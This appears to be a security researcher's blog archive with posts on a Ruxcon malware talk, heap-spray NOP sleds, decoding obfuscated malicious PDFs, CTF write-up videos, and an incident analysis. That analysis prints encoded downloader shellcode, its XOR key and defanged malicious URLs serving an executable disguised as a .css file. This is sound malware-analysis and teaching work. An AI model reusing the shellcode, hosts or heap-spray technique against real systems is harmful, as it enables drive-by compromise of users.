Ghost in the Shell(code)


Just got back the other day from Melbourne and Ruxcon. Awesome and fantastic ‘con for aussies. 2 days of great talks and copious alcohol.

If you’ve had your head in the sand and not noticed, I presented a talk at Ruxcon!

My talk was based on 2 incidents that happened at work and how they stepped sideways from your normal attacks online. First was a binary delivered in an encoded form that the shellcode operates on after download to restore it to a working format. The second incident was a targeted attack in which the malware binary used shellcode as a function delivery system.

I’m looking to be able to publish the slides shortly plus the samples for the first incident for your own playing around with.

Hopefully I’ll update this again on the weekend and share more on my talk.


Slack and late update – link to the presentation is http://www.ruxcon.org.au/archive/2010-materials/ , Check out the content from the other talks while you’re there!

I have a new website in development,  http://lordparody.com which will host samples of exploits and reviews of their methods.


Just slide..

Sorry for not posting often. Actually..  I’m not sorry. I’m happy I’m not posting daily purely to have stuff up daily. 😛

I aim to make posts whenever I find something interesting to share, simple or complex.

Today is complex simplicity! 😀

NOP Sleds or NOP Slides.

previously recognized by the opcode 0x90, this has moved on and into bigger and more worldly ways.

Many of you have reviewed exploits and shellcode related to them and you always spot this extra bit of data that gets sprayed like “0x0c0c” or “0x0c0d” or “0x0a0a”.  These sweet opcodes serve multiple purposes when used as part of a heap spray. They can facilitate return addresses for where your code should redirect the exploited EIP. They also double as a NOP sled.

I’ve entered these opcodes into a debugger over a blank .exe file with a series of 0x90 opcodes as a filler.

00401020   .  0A0A          OR      CL, BYTE PTR DS:[EDX]
00401022   .  0A0A          OR      CL, BYTE PTR DS:[EDX]
00401024   .  0A0A          OR      CL, BYTE PTR DS:[EDX]
00401026   .  0A0A          OR      CL, BYTE PTR DS:[EDX]
00401028   .  90            NOP
00401029   .  90            NOP
0040102A   .  90            NOP
0040102B   .  90            NOP
0040102C   .  0C 0C         OR      AL, 0C
0040102E   .  0C 0C         OR      AL, 0C
00401030   .  0C 0C         OR      AL, 0C
00401032   .  0C 0C         OR      AL, 0C
00401034   .  90            NOP
00401035   .  90            NOP
00401036   .  90            NOP
00401037   .  90            NOP
00401038   .  0C 0D         OR      AL, 0D
0040103A   .  0C 0D         OR      AL, 0D
0040103C   .  0C 0D         OR      AL, 0D
0040103E   .  0C 0D         OR      AL, 0D
00401040   .  90            NOP
00401041   .  90            NOP
00401042   .  90            NOP
00401043   .  90            NOP
00401044   .  0D 0C0D0C0D   OR      EAX, 0D0C0D0C
00401049   .  0C 0D         OR      AL, 0D
0040104B   .  0C 90         OR      AL, 90

I’ve included the 0c0d and it’s inverted 0d0c variant to demonstrate how it would look if your alignment landed badly. The code corrects itself and will continue the slide.

The intention of a NOP sled is to do no operation yet retain control of EIP.  This gives your exploit a larger surface area to land on when dealing with the heap and the difficulty to predict where your shellcode will end up.

The shellcode above shows WORD size nop sleds. The opcode up from the original 0x90 is also usable for a NOP sled. 0x91! This single byte opcode can be used when you know your alignment is out and you don’t care about the contents of EAX or ECX.

00401014      91            XCHG    EAX, ECX
00401015      91            XCHG    EAX, ECX
00401016      91            XCHG    EAX, ECX
00401017      91            XCHG    EAX, ECX

You would follow the NOP sled with corrective instructions like XOR EAX, EAX; XOR ECX, ECX. This would reset contents of the registers and clear any exchange of data between the two registers.

This is by no means a detailed look at NOP sleds but just something to open your eyes and so you can begin to understand what the extra code around the shellcode in an exploit is for.

There may be sections in this I might be incorrect about, but feel free to bombard the comments or DM me on twitter.


PDF shenannigans!

_MDL_ from the MalwareDomainList website tweeted on the weekend about a couple of PDF samples that wouldn’t decode.


So naturally I jumped in and had a look.

Putting the samples on a testbed and looking at them made it quite clear straight away what the problem was. pdf-parser.py from Didier Stevens didn’t support the filters used to encode the data stream. UHOH!

So now what?

“Lets make some decoders!”, I hear you call out.

well screw that! 😛

“Lets steal some decoders!”, you yell at me.

Yeah, ok.

Firstly we need to know what we’re needing to look for, these are standard filters in Adobe products and there should be something in one of the open source projects that we can look at.

sample 1: /Filter [ /ASCIIHexDecode /LZWDecode /ASCII85Decode /RunLengthDecode

sample 2: /Filter [/ASCIIHexDecode /LZWDecode /ASCII85Decode /RunLengthDecode /FlateDecode ]

Didier’s parser already supports the ASCIIHexDecode, ASCII85Decode and FlateDecode, we need LZW and RLE decoding now.

After a bunch of time sorting through the crap links from the not so crap links, I stumbled upon “pdfminer” which already had a LZW routine setup in python I could use. Still no RLE decoder though.

One small grace for the first sample, RLE was the last stage to decode. By removing the /RunLengthDecode filter statement, I was able to get the script to parse the file and give me some output!

While the output wasn’t as good as it could have been, the RLE was mostly ineffective at compressing the stream but only in obfuscating it partially. Much of the javascript was readable and it was possible to figure out what the intention was. MAYHEM! and trojans. I was able to immediately spot some well known pdf exploits. Collab.getIcon, Collab.collectEmailInfo, etc.

The 2nd sample had to wait, as it needed a clean decode from the RLE to pass into the FlateDecode filter.

I passed the samples on to others in my team to look at and one of the guys better at python than me ( everyone is better at python than me 😛 ) made a RLE decode function that worked great and we were able to decode the 2 samples.

Once I get his all clear, I’ll see about releasing something for your use/abuse at home. :]

Not much tech in this post, but I think those who’ve been in this position before know what it’s like finding a tool that doesn’t quite meet your needs and finding out you have the ability to modify it to suit. Don’t give up and google is a great tool. Remember to respect the copyrights of what you use, credit them where possible and even let the original author update their tool with your findings.


shellcode does what?!

I had an IPS event pop up that I got to review.

File is a static javascript variable ( bit of an oxymoron I know 😛 )  that had shellcode defined.

Ran the URL into my local jsunpack and had a look at what it was able to find.

matt@malicious:~/research/jsunpack-n$ ./jsunpack-n.py -a -V -u “bbs. xcdx169. net /images /img /k /lll.jpg”
URL fetch bbs. xcdx169. net /images /img /k /lll.jpg
saved 4420 bytes to ./files/fetch_9ea2e60fd34ad1b771a600faa7f0c5cc88d31f2a

Processing ./files/fetch_9ea2e60fd34ad1b771a600faa7f0c5cc88d31f2a
[nothing detected] bbs. xcdx169. net /images /img /k /lll.jpg
info: [decodingLevel=0] found JavaScript
info: saved original parsed JavaScript to ./files/veryverbose_9ea2e60fd34ad1b771a600faa7f0c5cc88d31f2a

[file] created ./files/fetch_9ea2e60fd34ad1b771a600faa7f0c5cc88d31f2a from bbs. xcdx169. net /images /img /k /lll.jpg
[file] created ./files/veryverbose_9ea2e60fd34ad1b771a600faa7f0c5cc88d31f2a from bbs. xcdx169. net /images /img /k /lll.jpg

matt@malicious:~/research/jsunpack-n$ cat ./files/fetch_9ea2e60fd34ad1b771a600faa7f0c5cc88d31f2a

var YT00=”\xu10EB\xu4B5B\xuC933\xuFBB1\xu04B5\xu3480\xuF40B\xuFAE2\xu05EB\xuEBE8\xuFFFF\xu1DFF\xuF0AE\xuF4F4\xu90AB\xuC455″;
var YT01=”\xuF4F4\xu7FF4\xuF8B4\xu847F\xu59E8\xu9C7F\xu7FFC\xu9E03\xuADFB\xu0E1C\xuF4F7\xu16F4\xu9E0D\xu9C98\xu809A\xu9890″;

…..   Cut for Blog ( download link above if you want to look at the full thing. )

var YT23=”\xuD0AA\xu29F7\xu7F92\xuBFF8\xuAA7F\xuF7E8\xu7F29\xu7FF0\xu31F7\xuAA5F\xu37AD\xu551C\xu0B0F\xu7A0B\xuFABA\xu5E18″;
var YT24=”\xuF908\xu7C88\xuB90E\xu512F\xuF4E3\xuE288\xu0E91\xuEBE4\xuFE8D\xu0F1C\xu0963\xuD1FB\xu0B44\xu1036\xuBE30\xuEF1B”;
var YT25=”\xuB232\xu8A8D\xu162C\xu3487\xu1663\xu291B\xu4968\xu6886\xuEE61\xu559A\xuC99E\xu162C\xu953E\xuA312\xu4154\xuC24F”;
var YT26=”\xuDBEE\xuE684\xu3FF6\xu6EE1\xu8ADF\xu11AF\xuDCE8\xuBE3B\xu0FFC\xu5141\xu9CEE\xu281F\xu9A3E”;
var YT27=”\xu9c9f\xu8080\xuce84\xudbdb\xu9696\xuda87\xu978c\xu8c90\xuc2c5\xudacd\xu919a\xudb80\xu999d\xu9395\xu8791\xu9ddb\xu9399\xu9cdb\xuda8c\xu8797\xuf487\xuf4″;


( I’ve edited the shellcode from % to \x so if you download the above file and see it is different don’t be thinking I’m making stuff up 😛 )

Since I’ve not seen what has delivered this to the user, I’m left with loading it somehow to review it.

I dump the shellcode into http://sandsprite.com/shellcode_2_exe.php which will give you a .exe file with the shellcode attached. So you can load it up in Ollydbg and have a quick look.

As you can see there is the original stub that loads WSAStartup to load any references to winsock calls.  In this I’ve also hilighted within the small piece of code attached from the shellcode that its another stub but for an XOR encryption. As you can see, the XOR key is right there, 0xF4. There are 2 ways to go from here. We could step through the code to let it decrypt itself or since we know the key for the XOR we can just copy&paste the rest of the shellcode into WinHex and just manually let it decode the whole block.

We click OK and the code should dump out like this.

And at the end of the block we can see another URL that will be downloaded by the shellcode and executed.

matt@malicious:~/research/jsunpack-n$ ./jsunpack-n.py -a -V -u “http://bbs. xcdx169. net /images /img /hx.css”
URL fetch bbs. xcdx169. net /images /img /hx.css
saved 25088 bytes to ./files/fetch_8c3187ccfb755b516513ae9f68579b7bc75b0cef

Processing ./files/fetch_8c3187ccfb755b516513ae9f68579b7bc75b0cef
[nothing detected] [MZ] bbs. xcdx169. net /images /img /hx.css
info: [0] executable file

[file] created ./files/fetch_8c3187ccfb755b516513ae9f68579b7bc75b0cef from bbs. xcdx169. net /images /img /hx.css

matt@malicious:~/research/jsunpack-n$ file ./files/fetch_8c3187ccfb755b516513ae9f68579b7bc75b0cef
./files/fetch_8c3187ccfb755b516513ae9f68579b7bc75b0cef: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
matt@malicious:~/research/jsunpack-n$ md5sum ./files/fetch_8c3187ccfb755b516513ae9f68579b7bc75b0cef
883e3c54c21fda4efae0fc85ff96724c  ./files/fetch_8c3187ccfb755b516513ae9f68579b7bc75b0cef

We have a .exe file loaded from the site which hosted it as a .css. This .exe has reasonable coverage from VirusTotal.



CSAW CTF video #2

This is the video for binaries 2.exe, 3.exe and 4.exe.  These aren’t intended to be major indepth tutorials, only a demonstration of how I retrieved the flag from each binary. I’m not the greatest at reversing or making videos.  I just like to share whatever I can. :]


Thanks for your positive comments so far 😀


CSAW CTF video #1

After the Capture the Flag event of CSAW, Stephen Ridley released the source and binaries for the challenges on his github at http://github.com/s7ephen/CSAW_2009 . I spent a couple hours and did the challenges and found them to be fun while still quite simple at times. Later challenges are a real challenge for me as they require some coding to load libraries and I’ve not coded anything properly in years. 😀

Here is the first binary solution.  I may remake this video at a lower resolution so it will be easier to read.



Moved this to the About page :]

http://www.twitter.com/lordparody  I’ll update any new posts via twitter.

December 2018
« Nov